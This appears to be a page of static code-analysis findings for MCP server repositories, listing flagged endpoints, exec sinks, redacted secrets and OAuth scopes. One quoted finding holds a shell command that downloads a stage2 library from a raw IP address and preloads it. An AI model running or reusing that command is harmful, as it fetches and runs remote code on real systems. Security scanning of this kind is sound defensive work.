Code analysis

static source read inferred

Static code-analysis findings — hidden prompt content in shipped skill files, committed secrets, dynamic-exec sinks, and suspicious call-home endpoints — across the analyzed catalogue. Heuristic, pure, no code executed; every row deep-links to its source. Click a kind to filter.

analysis coverage 85% of 59,151 analyzable servers
50064 analyzed
8099 re-analysis due
988 not analyzable
0 not yet analyzed
4803 source gone
not analyzable
789 too large 199 no source

Running analyzer v33. The scanner changelog explains what each version detects and when it changed.

code findings 15 shown
  1. MEDIUM suspicious endpoint cisco-open/mcptoolkit-contract abc.ngrok.io oauthCallbackUrl: 'https://abc.ngrok.io/custom/oauth/callback'
  2. HIGH hidden prompt itential/builder-skills skill: skill-exfil secret→sink: 2. **Credentials arrive as env vars** from the `secrets` block. Use `os.environ.get('DEVICE_USERNAME')`.
  3. HIGH dynamic exec anvil008/phalanx eval() no <code className="font-mono text-ink">eval()</code> or HTML string rendering is permitted.
  4. MEDIUM suspicious endpoint anvil008/phalanx 185.121.44.19 {"cmd": "/bin/sh -c 'curl -s http://185.121.44.19/stage2.so -o /tmp/libedgetls.so.2 && LD_PRELOAD=/tmp/libedgetls.so.2'"}
  5. HIGH obfuscation DrEden33773/adam-agent dynamic require()/import() const { createModelTargets } = await import(${JSON.stringify(agentUrl)});
  6. HIGH obfuscation DrEden33773/adam-agent dynamic require()/import() const { createCodingToolRegistry, createBiomeExecutionAdapter } = await import(${JSON.stringify(agentUrl)});
  7. HIGH dynamic exec chisomobanzi/Serpentine3D pickle.loads() assert geometry.volume(rp._decode(pickle.loads(pickle.dumps(payload)))) \
  8. HIGH dynamic exec chisomobanzi/Serpentine3D pickle.loads() there_and_back = pickle.loads(pickle.dumps(MeshShape(verts, tris, given)))
  9. HIGH committed secret chisomobanzi/Serpentine3D Anthropic key sk-ant…(31 chars, redacted)
  10. HIGH dynamic exec chisomobanzi/Serpentine3D eval()/exec() exec(compile(source, filename, "exec"), environment, environment)
  11. HIGH dynamic exec chisomobanzi/Serpentine3D eval()/exec() exec(code, namespace) # noqa: S102
  12. MEDIUM over-broad oauth scope rajool/google-workspace-mcp https://www.googleapis.com/auth/drive "https://www.googleapis.com/auth/drive",
  13. MEDIUM over-broad oauth scope rajool/google-workspace-mcp https://mail.google.com/ "https://mail.google.com/",
  14. HIGH committed secret apache/camel-jbang-examples AWS access key id AKIA5U…(20 chars, redacted)
  15. MEDIUM suspicious endpoint Highsteads/ClaudeBridge 8.8.8.8 r = h.create_subscription(webhook_url="https://8.8.8.8/h", entity_type="device",